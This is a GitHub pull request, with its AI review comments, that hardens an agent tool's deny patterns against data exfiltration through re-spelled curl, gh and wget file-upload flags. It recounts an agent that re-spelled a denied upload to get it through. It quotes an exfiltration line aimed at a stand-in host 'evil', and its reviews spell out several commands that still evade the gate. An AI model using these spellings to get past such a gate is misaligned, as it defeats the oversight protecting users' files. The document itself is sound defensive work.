Skip to content

fix(security): close long-form data-exfiltration flag gaps - #8353

Closed
atomsbaza wants to merge 1 commit into
kirodotdev:mainfrom
atomsbaza:feat/exfil-long-form-patterns
Closed

atomsbaza wants to merge 1 commit into
kirodotdev:mainfrom
atomsbaza:feat/exfil-long-form-patterns

Conversation

@atomsbaza

@atomsbaza atomsbaza commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

Goal: A hijacked agent cannot move a local file off the machine by re-spelling a file-loading flag (--input, --form, -Fk=@f, quote-spliced or escaped spellings), while ordinary commands that merely contain such text keep working.

The builtin data-exfiltration deny patterns blocked the short spelling of file-loading flags but let the documented long/alternate spellings of the same capability through:

  • gh api -F body=@local/file.md → blocked, but gh api -X POST <endpoint> --input local/file.json → allowed
  • curl -F k=@f → blocked, but curl --form="k=@f" / curl -Fk=@f → allowed

The reporter's account makes the symptom concrete: their agent's short form was denied, so it re-spelled the command with --input and the upload went through. A deny pattern with a spelling gap produces exactly one round of friction and then teaches the agent that the guardrail is bypassable.

Why it matters

These patterns are the enforced (denied-at-gate) subset of the bash security audit — the ones a hijacked agent must not get past. Any documented flag spelling that loads a local file into a request body and is not matched is a routing-around path for data egress, on every install, with no user-visible warning. --input is gh's primary documented way to send a request body, so the gap is on the main path, not an edge case.

Not a goal

  • Changing the deny-message wording, the operator opt-out mechanism, or the catalog rule ids.
  • Closing exfiltration routes that are not file-loading command flags (for example ssh host 'nc evil 9 < file' payloads that no view decodes today; main allows them too).
  • Making a variable-held program name behind an exec wrapper (sudo $C -T f u) deny; main allows it too.

What changed (motivation → approach → change)

Approach: match the capability, not the spelling, and never deny less than main does. The gate reads one command through two views and the views only ever ADD denials:

  • Raw view (original text) keeps main's fail-closed reach for the curl/wget file-upload shapes: lowercase bare substrings and fnmatch globs (the glob regex is DOTALL, as fnmatch is), long options matched case-insensitively, -d/-F short flags case-sensitive. It therefore still sees a curl that an ssh, su -c, awk system() or bash -c "$CMD" carrier hides from command position. Its only relief is structural: one plain command whose first word is date or an inert search verb may contain the text without executing it, plus the benign curl -D (dump headers) and -f spellings. It also answers for shapes that are not argv-shaped (nc/ncat redirects, /dev/tcp/, /dev/udp/).
  • Normalized argv view (shell_normalizer.py quote-, escape- and substitution-aware splitter) sees through quote splicing and escapes (--in''put, g\h, curl --data-bin''ary @f) and decides command position on the real argv: curl -d/--data family, -T/--upload-file, -F/--form, --json @, gh --input/--field under gh api|repo|release, wget --post-file. --input - (stdin), --data-raw and --form-string stay allowed. A program named by an expansion ($C, ${C}, "$C") in command position is treated as a possible exfil program regardless of the variable's case; $ in a directory prefix ($HOME/bin/tool) or in an argument of another program (kill -TERM "$pid", ssh -T $HOST) is not.
  • One rule table. _EXFIL_RULES (ExfilRule) declares for each capability its raw matchers, its normalized matcher and its catalog rule ids, so an operator opt-out governs both views and a new rule cannot forget a view; the old parallel _BASH_EXFIL_* lists and labels are gone.
  • Carriers and assignments. bash -c/eval/herestring/env -S/pipe-into-shell payloads and process-substitution bodies are audited recursively; a bounded left-to-right resolver substitutes simple NAME=literal assignments before auditing carriers (CMD='gh api --input f'; bash -c "$CMD"); glob/brace program names (cur[l], c{url,at}) are expanded within a bound and fail closed on overflow.
  • kirocrew-prepare-pr/references/ci.md: its REST fallback for editing a PR body now streams the JSON to gh api ... --input - instead of reading a local file, so the documented fallback is not denied by this gate.
  • docs/system-specs/modules/security.md and the security package line-budget ratchet in test/test_security_gate_liveness.py are updated in the same commit.

Tests

  • test/test_security.py pins each behaviour: the gap commands (gh api -X POST /gists --input local/file.json, curl --form=k=@f, curl -Fk=@f) deny; stdin --input -, --form-string, --data-raw and inline -F k=v stay allowed; the five commands that main denied through a carrier (su -c, ssh, awk system(), echo[0-9] x; ssh host 'wget --post-file=...', CMD=$'curl -d @secret ...'; bash -c "$CMD") deny; --upload-file with tab/quote spellings, backslash-newline -F/--form, upper-case long options and uppercase expansion programs deny; routine commands with $VAR arguments (kill, ssh -T, tar -T, rsync -T, docker run -T, tmux) and $HOME/bin/tool -T x stay allowed; the date -d @0 / inert grep carve-out cannot be chained with a real upload.
  • A parity test derives main's legacy _BASH_EXFIL_PATTERNS and _BASH_EXFIL_RES from git show origin/main (skipped when the ref is absent), keeps a frozen copy as a second assertion, seeds one command per legacy row, and asserts this branch denies everything main's lists hit except the documented carve-outs; removing any legacy row from a copy of the rule table fails it.
  • test/test_exfil_gate_opt_out.py derives its rule ids from _EXFIL_RULES.

Validation: 2,666 tests pass across test_security, test_exfil_gate_opt_out, test_denied_commands_security, test_security_gate_liveness, test_security_facade and test_prepare_pr_diff_signals; mypy --platform linux, the black ratchet gate and the comment-history gate pass. A differential run of 5,864 command strings found no command that main denies and this branch allows other than the documented carve-outs.

Manual verification

N/A — unit coverage sufficient: the change is pure command-string pattern matching against audit_bash_exfiltration, exercised directly by the new tests; no UI, network, or process path involved.

Related Issues

Closes #7365

Pattern harvest

Rule candidate: review-prompt
Pattern: a deny/audit pattern table matching CLI flags by spelling must be checked against the tool's documented long forms and =-joined variants — every flag that loads a file needs all documented aliases covered, or the guardrail teaches agents to route around it.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated
  • No secrets, credentials, or internal references in the diff

Contribution License Agreement

@atomsbaza
atomsbaza requested review from a team and hoang-phan98 September 4, 2026 01:34
@iamwhatever

Copy link
Copy Markdown
Contributor

👋 Hi! This PR's description is missing some required sections from our PR template. Workflow runs won't be auto-approved until the description is updated.

Missing sections:

  • ## Problem / Motivation
  • ## Why it matters
  • ## What changed
  • ## Tests

Please update your PR description to include these sections, then push or re-save the description. The workflows will be approved on the next cycle.

@github-actions github-actions Bot added fork Pull request from a fork (external contributor) readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Sep 4, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from 9bda51e to ae350b9 Compare September 4, 2026 15:12
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 4, 2026
@github-actions

github-actions Bot commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5, fork) — 🟡 CONCERNS

Design-level review of c2e9693076b4106d901ace667298c6344c089c10 via the fork AI-review pipeline — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: CONCERNS

The stated goal needs a few flag aliases, but the diff adds a ~1,300-line partial shell interpreter, the spelling-chase AGENTS.md calls a review smell.

Watch

  • Scope well past the goal. The goal is to deny documented alias flags (--input, --form=, -Fk=@). The diff also adds a NAME=literal assignment resolver, a brace-alternation expander, printf-format reasoning for | bash, a process-substitution walker and "fused remainder" heuristics. Each one closes a single respelling (CMD=…; bash -c "$CMD", c{url,at}, printf gh\ api…). None changes what the agent can do, because the PR's own "Not a goal" list leaves sudo $C, ssh host 'nc…' and any python3 -c upload open. AGENTS.md: "When a security review finds 'X also reaches the fence via spelling Y'… fix(security): gate traversals that reach a fence without find #7441 went four rounds… before restructuring." The result is a large, adversarially tuned matcher that each future bypass report will grow, for no change in the exfil threat.
    Clears when: the carrier, assignment, brace, printf and procsub layers move to a separate PR that argues for them under the spelling-chase rule, or the description says why they are bounded and not an open-ended chase.
  • Shared parser change rides on an exfil fix. _iter_shell_chars now tracks a subst frame depth (prev_active, in_backtick, negative stray counts). That state machine is the one quote/escape reader for the push-protection, argv_floor and mcp_cron gates, and none of them is mentioned in the description. A wrong frame count changes where those gates split commands, which can make them deny more or less.
    Clears when: the description names the other _iter_shell_chars consumers and points to their passing tests, or the subst tracking stays local to _split_unquoted_separators.

Suggestions

[DESIGN-REVIEWED] c2e9693

Description read

[DESCRIPTION-READ] b7a96b26fc25b38d80247d01cb97e3c5e368f1a852225e35eccdfb2ca6fcbf61

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5.5 Review (fork) — 🔴 changes requested (blocking)

Reviewed c2e9693076b4106d901ace667298c6344c089c10 via the fork AI-review pipeline; updated in place on each push.

Blocks merge: nested process substitutions make the exfil gate re-audit the same text about 255 times, synchronously on the gateway event loop.

BLOCKING — src/kiro_crew/security/exfil.py:1362
for body in procsub_bodies: … _audit_bashexfiltration(body, …, _depth=_depth + 1, _budget=_budget - 1)
Input: a ~20 KB command built from an 8-deep >(>(…>(<ordinary words>)…)) chain (agent-typed, e.g. after prompt injection) → hooks.on_tool_call → audit_bash_exfiltration. The stack walk collects every nested body. Each body is then re-audited and collects its own inner bodies again, so one chain costs 2^8−1 = 255 full tokenize/split passes over the same 20 KB. Depth 8 stays under _CARRIER_RECURSION_LIMIT, and _budget drops by only 1 per level, so neither guard fires. The gate runs on the loop, where a 25 s watchdog hard-exits the gateway.
Fix: audit only the outermost procsub bodies (inner ones are reached by the recursion anyway), or make the budget one shared counter that every recursive call decrements.

BLOCKING — test/test_security.py:2618
Path("test/test_security.py"), / Path("test/test_denied_commands_security.py"), … path.read_text(encoding="utf-8")
This breaks the blocking rule no-test-side-effects, which forbids reading source files through cwd-relative paths. Run pytest from any cwd other than the repo root, or on an xdist worker another test has chdir'd → FileNotFoundError.
Fix: _REPO_ROOT = Path(__file__).resolve().parents[1] and read _REPO_ROOT / "test/…".

FINDING — test/test_security.py:2513 — the test loads _BASH_EXFIL_PATTERNS/_BASH_EXFIL_RES from git show origin/main:…/exfil.py, but this PR deletes both names, so after merge missing == {both} and the test fails in every checkout where origin/main resolves → Fix: drop the origin/main loader and compare against frozen_patterns/frozen_res only, or pin a fixed base commit SHA.
FINDING — src/kiro_crew/security/shell_normalizer.py:1502 — elif prev_active in "<>": is True when prev_active == "", so a leading subshell (gh api repos/o/r/pulls > p.json; python3 tool.py --input p.json) opens a fake process-substitution frame. The ; no longer splits, and --input p.json is pinned to gh, so a benign command is denied → Fix: elif prev_active and prev_active in "<>":.
FINDING — src/kiro_crew/security/exfil.py:245 — the block comment says the raw view "stays only for shapes that are not argv-shaped (the nc/ncat redirects and the /dev/tcp/ //dev/udp/ builtins)", but the curl body, curl upload, multipart and wget rules all declare RAW_VIEW with raw matchers → Fix: correct the comment so it says the raw view also carries the curl/wget body-file substrings.

[BLOCK-MERGE] c2e9693
[OPUS-REVIEWED] c2e9693

@github-actions

github-actions Bot commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5, fork) — 🔴 BLOCK

Premise-level review of c2e9693076b4106d901ace667298c6344c089c10 via the fork AI-review pipeline — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

First-Principles-Verdict: BLOCK

The new brace expander duplicates _brace_group_regex, which already expands c{url,at} exactly. The carrier/assignment interpreter emulates a shell, which AGENTS.md calls a spelling-chase.

Not justified as shipped

  • Item 5 — duplicate of shell_normalizer.py:281 _brace_group_regex: the PR's premise "the shared glob helper folds a brace group to .*" is false on base. _glob_to_regex emits (?:url|at) and enforces _BRACE_GROUP_BUDGET.
    Subtraction: delete _expand_brace_alternation, BraceExpansionTooLarge and the variant loop in _glob_admitted_programs, and call _glob_could_expand_to alone.
    Clears when: the expander is deleted, or a test shows a name that _glob_could_expand_to misses on base.
  • Item 4 — oversized: the Goal names flag re-spellings that are "quote-spliced or escaped". The NAME=literal resolver, printf-pipe reassembly and procsub walker go past that. They also rebuild the same unbounded chase that security-deep-dive.md:197 says "cannot hold against python -c open(...)".
    Subtraction: delete steps 3–4 of _audit_bash_exfiltration except the existing _nested_shell_payloads recursion.
    Clears when: the mechanism is removed, or a human amends the Goal.
  • Item 6 — undeclared, oversized: subcommand == "release" and (low == "--notes-file" …) now denies the ordinary gh release create v1 --notes-file NOTES.md. No description sentence mentions it.
    Subtraction: delete the release/--notes-file branch.
    Clears when: the branch is removed, or a human amends the Goal.
  • Item 8 — undeclared: the raw view changed from "wget --post-file" to (?:^|\s)--post-file\b, so it now matches this flag on any program.

What this change ships

Inventory (9 items) — 5 justified

Intent: stop a hijacked agent from uploading a local file by re-spelling a flag the gate already denies. This is a FIX.

  1. gh api … --input <file> is denied, and stdin --input - stays allowed — justified
  2. Glued and =-joined multipart forms (curl --form=k=@f, -Fk=@f) are denied — justified
  3. Quote-spliced and escaped flag or program names (--in''put, g\h) are denied — justified
  4. Variable assignments, printf pipes, process substitutions and bash -c carriers are expanded and audited — oversized
  5. Program names written as a glob or brace pattern (cur[l], c{url,at}) count as invocations through a new expander — duplicate of shell_normalizer.py:281
  6. gh release --notes-file <file> and release -F <file> are now denied — undeclared, oversized
  7. curl --json @f is denied — justified
  8. Any program's --post-file is denied, not only wget's — undeclared
  9. curl short flags became case-sensitive (-D @ is allowed), and a lone date or inert-search command may contain the text — justified

Blockers

Duplicate brace-expansion mechanism
On base, _glob_could_expand_to → _glob_to_regex → _brace_group_regex (shell_normalizer.py:174/331/281) already expands alternation exactly, within a budget. The PR adds a second expander with its own budget and its own exception type, which is 1 new spelling of 1 existing capability. The subtraction is to delete _expand_brace_alternation and BraceExpansionTooLarge.
Clears when: both are removed, or a failing-on-base test proves _glob_could_expand_to misses a brace spelling.

[FIRST-PRINCIPLES-REVIEWED] c2e9693

Description read

[DESCRIPTION-READ] 93b555ab2d763f7b59e834b59cc2933dc516cf8d426f1ec6782e826734f3f420

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions

github-actions Bot commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

GPT 6.1 Review (fork) — 🔴 changes requested (blocking)

Reviewed c2e9693076b4106d901ace667298c6344c089c10 via the fork AI-review pipeline; updated in place on each push.

6 of 6 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

BLOCKING -- src/kiro_crew/security/exfil.py:2865 -- Assignment expansion can exhaust gateway memory
assignments[name] = _resolve_use(_plain(value))
"A=x;" + "A=$A$A;" * 40 + "true" -> HookManager.on_tool_call -> unbounded substitution attempts terabyte-scale allocations before recursion limits apply, causing an OOM kill on a memory-limited, overcommitting gateway.
Anchor: residual/crash-data-loss-corruption
Fix: Bound expanded values and cumulative retained bytes before allocating substitutions; deny on overflow.

BLOCKING -- src/kiro_crew/security/exfil.py:2822 -- Argument text can overwrite the audited assignment state
for m in assign_re.finditer(command):
CMD='gh api /gists --input private.json'; echo CMD=echo; bash -c "$CMD" -> assignment scanning treats echo’s argument as reassignment -> all command gates return no denial while the shell executes the original upload.
Anchor: residual/security
Fix: Collect assignments only from actual shell assignment positions, respecting quoting and command-local scope.

BLOCKING -- src/kiro_crew/security/exfil.py:2982 -- Nested parentheses truncate process-substitution auditing
if ch == ")" and openers:
cat <(gh api "$(printf /gists)" --input private.json) -> extraction closes at printf’s ) -> the audited body omits --input, permitting the actual gh invocation to upload the file.
Anchor: residual/security
Fix: Track nested parentheses and quoting through the matching process-substitution closer.

BLOCKING -- src/kiro_crew/security/exfil.py:2205 -- Abbreviated urlencode flags bypass named-file detection
if low.startswith("--data-urlencode="):
curl --data-urlenc name@private.txt https://example.com -> _curl_body_file_tokens canonicalizes the flag but tests its original spelling -> no gate denies it, and curl uploads the file contents.
Anchor: residual/security
Fix: Use canonical for both urlencode branches and attached-value extraction.

BLOCKING -- src/kiro_crew/security/exfil.py:2391 -- Attached release-notes operands bypass the upload gate
low == "--notes-file" or low.startswith("--notes-file=") or tok == "-F"
In an authenticated repository, gh release create v1 -Fprivate.md -> the release matcher ignores the attached operand -> no gate denies it, and gh publishes the local file as release notes.
Anchor: residual/security
Fix: Recognize attached -F<path> operands while preserving the lone-dash stdin exception.

BLOCKING -- test/test_security.py:8331 -- Legacy parity check depends on ambient checkout state (origin: validation)
pytest.skip(...); Path("test/test_security.py")
Checkout without origin/main -> parity assertions silently skip; invocation from test/ with that ref present -> the corpus read raises FileNotFoundError.
Anchor: a-ratchet-may-only-tighten; no-test-side-effects
Fix: Use the existing frozen baseline when the ref is absent, and anchor corpus paths to the repository root resolved from __file__.

[BLOCK-MERGE] c2e9693
[GPT-REVIEWED] c2e9693

Adjudication (Opus 5.5) — is blocking on each finding proportionate?

The adjudicable block is empty, so the main footer reports zero findings. All six fenced findings are upheld. None is flagged, because each needs only ordinary input or an ordinary checkout state, nothing extreme.

  • F1: Unbounded harm (the gateway is killed for running out of memory). It needs only one short command string in an ordinary tool call, which is plausible in real operation.

  • F2: Security class (the exfiltration gate is bypassed). It needs only an echo argument shaped like NAME=value, which is ordinary shell.

  • F3: Security class. A $(...) nested inside a <(...) is common shell; I found no reason to rule it out.

  • F4: Security class. curl accepts abbreviated long flags as normal use, and the adversary chooses the spelling.

  • F5: Security class. -F<path> with the path attached is a standard spelling of gh's flag, and it publishes the local file.

  • F6: Checkouts without origin/main are common (shallow or fork CI clones). Patch lines 2485–2491 skip when the ref is missing, and line 2618 uses a path relative to the working directory. Neither condition is extreme.

    [ADJUDICATION] c2e9693 total=0 uphold=0 downgrade=0
    [GPT-ADJUDICATED] c2e9693

    [ADJUDICATION-FENCED] c2e9693 fenced=6 flagged=0
    UPHOLD-FENCED F1 src/kiro_crew/security/exfil.py:2865 -- A single short attacker-shaped command can drive unbounded assignment expansion; nothing extreme is needed.
    UPHOLD-FENCED F2 src/kiro_crew/security/exfil.py:2822 -- An ordinary echo argument shaped like an assignment overwrites the audited state, a plausible bypass of the exfil gate.
    UPHOLD-FENCED F3 src/kiro_crew/security/exfil.py:2982 -- Command substitution nested inside process substitution is common shell, and the attacker chooses the input.
    UPHOLD-FENCED F4 src/kiro_crew/security/exfil.py:2205 -- curl accepts abbreviated long flags in normal use, so an attacker can choose the spelling that bypasses the gate.
    UPHOLD-FENCED F5 src/kiro_crew/security/exfil.py:2391 -- An attached -F operand is a standard gh spelling that publishes a local file.
    UPHOLD-FENCED F6 test/test_security.py:8331 -- Checkouts without origin/main are common in CI, and the corpus path is relative to the working directory, so neither condition is extreme.
    [GPT-ADJUDICATED-FENCED] c2e9693

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Sep 4, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from ae350b9 to ab25cba Compare September 4, 2026 18:24
@atomsbaza

Copy link
Copy Markdown
Contributor Author

Force-pushed head to ab25cbaff675bfd2c767abf16c5a0acb43d74db4 addressing all GPT 5.6 findings:

  • Nested -F bypass (BLOCKING): field-name class widened to [^\s\"=@]* (strict superset) so -F'files[x][content]=@secret.txt' is now caught.
  • ReDoS (BLOCKING): separator (?:\s*=?\s*) → one whitespace run per alternative in both the multipart and gh --input/--field regexes. Measured: -F + 40k spaces 22.4s → ~1ms; gh --input + 40k spaces 15.7s → ~5ms. Union of separators is unchanged (nothing previously denied is now allowed).
  • --input=- false deny (non-blocking): separator made unambiguous with the stdin lookahead behind it — --input=- no longer denied, --input=-body.json still denied.

Regression tests added to test/test_security.py (validated against the old regexes via monkeypatch: old code missed 2/3 nested PoCs and false-denied both stdin cases). Local verify: 1294 tests in security suite passed, flake8/mypy/black clean. Spec table updated in the same commit (docs/system-specs/modules/security.md).

Requesting workflow approval for this head.

@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 4, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from ab25cba to cfbf8c0 Compare September 5, 2026 13:25
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 5, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from cfbf8c0 to 6504090 Compare September 5, 2026 15:32
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 5, 2026
@github-actions github-actions Bot added the readiness: action required A blocking check or review needs attention label Sep 8, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from c173690 to b727b36 Compare September 10, 2026 16:01
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 10, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from b727b36 to 3604ab0 Compare September 10, 2026 16:13
@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running merge conflict Branch has merge conflicts with its base — author must resolve before merge and removed readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention labels Sep 10, 2026
@atomsbaza
atomsbaza force-pushed the feat/exfil-long-form-patterns branch from 3604ab0 to f5cf1a9 Compare September 10, 2026 22:44
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed merge conflict Branch has merge conflicts with its base — author must resolve before merge readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 10, 2026
@github-actions

github-actions Bot commented Sep 12, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review (fork) — 🔴 BLOCK (blocking)

Which legitimate operations does c2e9693076b4106d901ace667298c6344c089c10 newly refuse? Model proposes, scripts/deny_diff.py decides — updated in place on each push. A script-confirmed regression blocks PR readiness.

a script-confirmed newly-refused operation

Scope-Verdict: CONCERNS

TIGHTENING: The data-exfiltration deny gate (audit_bash_exfiltration, the exfil-shapes tier) used to have only a raw-text check. It now also has a shell-normalized, per-segment argv view, a recursive carrier audit (bash -c/eval/pipe-to-evaluator literals, process-substitution bodies, NAME=value expansion), and command-word handling where a $-held program name counts as every one of curl/gh/wget. The wget raw anchor also changed, from the substring "wget --post-file" to the unanchored raw_res=(re.compile(r"(?:^|\s)--post-file\b", re.IGNORECASE),). The one threat refused is an agent uploading a local file to a remote through a re-spelled or carrier-wrapped curl/gh/wget body flag. The hunk: `--in''put` reaches gh as `--input`, `g\h` invokes gh, and `curl --data-bin''ary @f` posts a file — spellings only the normalized view can see.

ADJUDICATED: 18 candidates, 0 confirmed newly-refused. The harness handed this review no verdicts, so none are claimed.
NARROWING (prose only, deliberately not a row, because it overlaps the named threat):

  • The release window in _gh_body_file_tokens now refuses gh release create|edit <tag> --notes-file <path> and -F <path>. That is the ordinary way a maintainer publishes release notes from CHANGELOG.md.
  • The api window refuses gh api … --input <path>. Until this diff, references/ci.md told agents to use exactly that for PR-body recovery, and the diff rewrites the doc to stdin rather than keep it working.
  • Both are exactly the capability the gate names (a local file's contents sent to a remote), so they cannot be golden rows. But the change silently retires two maintainer operations. That loss should be recorded in the PR as a deliberate choice, rather than surface later as "release cut stopped working."
  • Narrow it: the exfil-shapes tier is the one involved. Anchor the release-notes shape to the sink (a sensitive-path or out-of-worktree value) rather than to any non-- value, or accept the loss explicitly in the PR description.

PLATFORM COVERAGE:

  • posix rows cover the assumptions the diff makes in posix spelling:
    • $-held command words ($SUDO ln -sfT …, "$COMPOSE" exec -T …), which probe the new "expansion-held name admits every program" branch against the case-sensitive -T cluster regex.
    • Process substitution (diff <(…) <(…)).
    • The skill's own stdin PATCH pipeline.
    • grep/man searches for --post-file, which probe the unanchored wget regex.
    • A $GITHUB_TOKEN header plus q= urlencoded query, which probes the assign_re expansion pass.
  • windows rows cover the tokenizer's posix assumptions applied to Windows text:
    • .exe program names (gh.exe, curl.exe) against _program_basename.
    • Drive-letter and backslash paths, which shlex escape-folding and the prefilter's backslash stripping can mangle.
    • The PowerShell pipe Get-Content … | gh api … --input -.
    • Select-String with a backslash path for the wget rule.
    • curl.exe -D against the case-sensitive -d split.
  • any rows cover platform-neutral gh/git spellings inside the newly guarded gh release/gh api windows, and git grep for the unanchored --post-file rule.
  • Not probed: cmd.exe %VAR% expansion. The diff makes no assumption about %, and %GH% does not hit the new $-held branch. PowerShell $var in command position (& $ssh -T host) reaches the same $-held branch as the posix rows. I wrote no Windows row for it because I could not tie that spelling to a real repo workflow; the posix $SUDO/$COMPOSE rows probe the same branch.

[SCOPE-REVIEWED] c2e9693

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 14 classified, 4 newly refused, 9 still allowed.
  • ubuntu-latest (platform posix): 14 classified, 4 newly refused, 9 still allowed.
  • windows-latest (platform windows): 9 classified, 2 newly refused, 7 still allowed.

Newly refused (confirmed by the real classifier at both refs)

  • git grep -n -e --post-file -- docs src (any, leg macos-latest)
    • Who loses it: A maintainer auditing the exfil catalog searches the repo for the literal wget flag. The wget raw rule went from the anchored substring wget --post-file to an unanchored (?:^|\s)--post-file\b, and the date/grep carve-out only covers the body-file rule.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))
  • grep -rn -e --post-file src/kiro_crew/security/ (posix, leg macos-latest)
    • Who loses it: The same audit search with grep, which is the inert-search verb the diff's carve-out names for the body-file rule. Whether the wget rule now refuses it is exactly the boundary the unanchored regex moved.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))
  • $SUDO ln -sfT /opt/kirocrew/releases/2026.10.06 /opt/kirocrew/current (posix, leg macos-latest)
    • Who loses it: Install/deploy scripts flip the current release symlink atomically with GNU ln -sfT, prefixed by the conventional $SUDO (empty when already root). An expansion-held command word now admits every exfil program, and -sfT plus an operand is the new curl -T cluster shape.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (curl file upload (-T/--upload-file))
  • "$COMPOSE" exec -T db psql -U postgres -c 'select 1' (posix, leg macos-latest)
    • Who loses it: CI and dev scripts that keep the compose binary in a variable (docker compose vs docker-compose) run non-TTY health checks with exec -T. An expansion-held command word now votes as curl, and -T with a following operand is the curl upload shape.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (curl file upload (-T/--upload-file))
  • git grep -n -e --post-file -- docs src (any, leg ubuntu-latest)
    • Who loses it: A maintainer auditing the exfil catalog searches the repo for the literal wget flag. The wget raw rule went from the anchored substring wget --post-file to an unanchored (?:^|\s)--post-file\b, and the date/grep carve-out only covers the body-file rule.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))
  • grep -rn -e --post-file src/kiro_crew/security/ (posix, leg ubuntu-latest)
    • Who loses it: The same audit search with grep, which is the inert-search verb the diff's carve-out names for the body-file rule. Whether the wget rule now refuses it is exactly the boundary the unanchored regex moved.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))
  • $SUDO ln -sfT /opt/kirocrew/releases/2026.10.06 /opt/kirocrew/current (posix, leg ubuntu-latest)
    • Who loses it: Install/deploy scripts flip the current release symlink atomically with GNU ln -sfT, prefixed by the conventional $SUDO (empty when already root). An expansion-held command word now admits every exfil program, and -sfT plus an operand is the new curl -T cluster shape.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (curl file upload (-T/--upload-file))
  • "$COMPOSE" exec -T db psql -U postgres -c 'select 1' (posix, leg ubuntu-latest)
    • Who loses it: CI and dev scripts that keep the compose binary in a variable (docker compose vs docker-compose) run non-TTY health checks with exec -T. An expansion-held command word now votes as curl, and -T with a following operand is the curl upload shape.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (curl file upload (-T/--upload-file))
  • git grep -n -e --post-file -- docs src (any, leg windows-latest)
    • Who loses it: A maintainer auditing the exfil catalog searches the repo for the literal wget flag. The wget raw rule went from the anchored substring wget --post-file to an unanchored (?:^|\s)--post-file\b, and the date/grep carve-out only covers the body-file rule.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))
  • Select-String -Path src\kiro_crew\security\exfil.py -Pattern --post-file (windows, leg windows-latest)
    • Who loses it: The PowerShell equivalent of the maintainer's catalog search on a Windows checkout: a backslash path and an unquoted pattern, preceded by whitespace.
    • Refused by: exfil -- Blocked: command matches data-exfiltration pattern (wget file upload (--post-file))

Each row above is an operation that the base ref ALLOWS and this change REFUSES. Narrow the rule at the tier named. Withdrawing a row is not the way to green: that is its own pull request, on its own merits.

The confirmed rows, in the committed corpus's own shape
{
  "golden_paths": [
    {
      "kind": "shell",
      "command_or_flow": "git grep -n -e --post-file -- docs src",
      "platform": "any",
      "reason": "A maintainer auditing the exfil catalog searches the repo for the literal wget flag. The wget raw rule went from the anchored substring `wget --post-file` to an unanchored `(?:^|\\s)--post-file\\b`, and the date/grep carve-out only covers the body-file rule."
    },
    {
      "kind": "shell",
      "command_or_flow": "grep -rn -e --post-file src/kiro_crew/security/",
      "platform": "posix",
      "reason": "The same audit search with grep, which is the inert-search verb the diff's carve-out names for the body-file rule. Whether the wget rule now refuses it is exactly the boundary the unanchored regex moved."
    },
    {
      "kind": "shell",
      "command_or_flow": "$SUDO ln -sfT /opt/kirocrew/releases/2026.10.06 /opt/kirocrew/current",
      "platform": "posix",
      "reason": "Install/deploy scripts flip the `current` release symlink atomically with GNU `ln -sfT`, prefixed by the conventional `$SUDO` (empty when already root). An expansion-held command word now admits every exfil program, and `-sfT` plus an operand is the new curl -T cluster shape."
    },
    {
      "kind": "shell",
      "command_or_flow": "\"$COMPOSE\" exec -T db psql -U postgres -c 'select 1'",
      "platform": "posix",
      "reason": "CI and dev scripts that keep the compose binary in a variable (docker compose vs docker-compose) run non-TTY health checks with `exec -T`. An expansion-held command word now votes as curl, and `-T` with a following operand is the curl upload shape."
    },
    {
      "kind": "shell",
